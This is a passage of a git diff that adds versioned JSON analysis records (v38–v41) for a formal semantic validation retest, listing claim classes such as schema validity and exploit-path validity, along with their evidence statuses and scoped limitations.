outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v37.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1072-execution-v37", + "generated_at": "2026-09-20", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1072 participant-control contracts are covered by dedicated API-424 regression tests; this retained formal corpus does not execute providers or establish runtime effect realization." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement. The replay also binds API-404 operational recovery code without claiming that this corpus executes crash recovery or live provider-effect classification. The replay binds CP-5 runtime ownership code without claiming that this corpus executes process contention, SQLite lifecycle ordering, or crash recovery. The replay binds issue #1015 mixed and staged trial-admission code without claiming that this corpus executes a mixed-backend realization. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the formal corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained formal corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained formal corpus as evidence of control-plane profile guarantees. This replay binds issue #1072 contract source without adding provider-execution or runtime effect-realization claims.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v38.json b/docs/research/formal-semantic-validation/analysis-v38.json new file mode 100644 index 000000000..50e1275ca --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v38.json @@ -0,0 +1,152 @@ +{ + "analysis_id": "issue-1016-analysis-v38", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v38.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1016-execution-v38", + "generated_at": "2026-09-20", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement. The replay also binds API-404 operational recovery code without claiming that this corpus executes crash recovery or live provider-effect classification. The replay binds CP-5 runtime ownership code without claiming that this corpus executes process contention, SQLite lifecycle ordering, or crash recovery. The replay binds issue #1015 mixed and staged trial-admission code without claiming that this corpus executes a mixed-backend realization. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the formal corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained formal corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained formal corpus as evidence of control-plane profile guarantees. This replay binds issue #1016 mixed-runtime coordination source without treating the retained formal corpus as mixed-runtime execution or backend-native interoperability evidence.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v39.json b/docs/research/formal-semantic-validation/analysis-v39.json new file mode 100644 index 000000000..36eb95ede --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v39.json @@ -0,0 +1,153 @@ +{ + "analysis_id": "issue-610-analysis-v39", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v39.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-610-execution-v39", + "generated_at": "2026-09-20", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement. The replay also binds API-404 operational recovery code without claiming that this corpus executes crash recovery or live provider-effect classification. The replay binds CP-5 runtime ownership code without claiming that this corpus executes process contention, SQLite lifecycle ordering, or crash recovery. The replay binds issue #1015 mixed and staged trial-admission code without claiming that this corpus executes a mixed-backend realization. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the formal corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained formal corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained formal corpus as evidence of control-plane profile guarantees. This replay binds issue #1016 mixed-runtime coordination source without treating the retained formal corpus as mixed-runtime execution or backend-native interoperability evidence.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v40.json b/docs/research/formal-semantic-validation/analysis-v40.json new file mode 100644 index 000000000..1f4f85f1f --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v40.json @@ -0,0 +1,153 @@ +{ + "analysis_id": "issue-1069-analysis-v40", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v40.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1069-execution-v40", + "generated_at": "2026-09-20", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement. The replay also binds API-404 operational recovery code without claiming that this corpus executes crash recovery or live provider-effect classification. The replay binds CP-5 runtime ownership code without claiming that this corpus executes process contention, SQLite lifecycle ordering, or crash recovery. The replay binds issue #1015 mixed and staged trial-admission code without claiming that this corpus executes a mixed-backend realization. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the formal corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained formal corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained formal corpus as evidence of control-plane profile guarantees. This replay binds issue #1016 mixed-runtime coordination source without treating the retained formal corpus as mixed-runtime execution or backend-native interoperability evidence.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v41.json b/docs/research/formal-semantic-validation/analysis-v41.json new file mode 100644 index 000000000..aef92a6b9 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v41.json @@ -0,0 +1,154 @@ +{ + "analysis_id": "issue-1338-analysis-v41", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v41.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 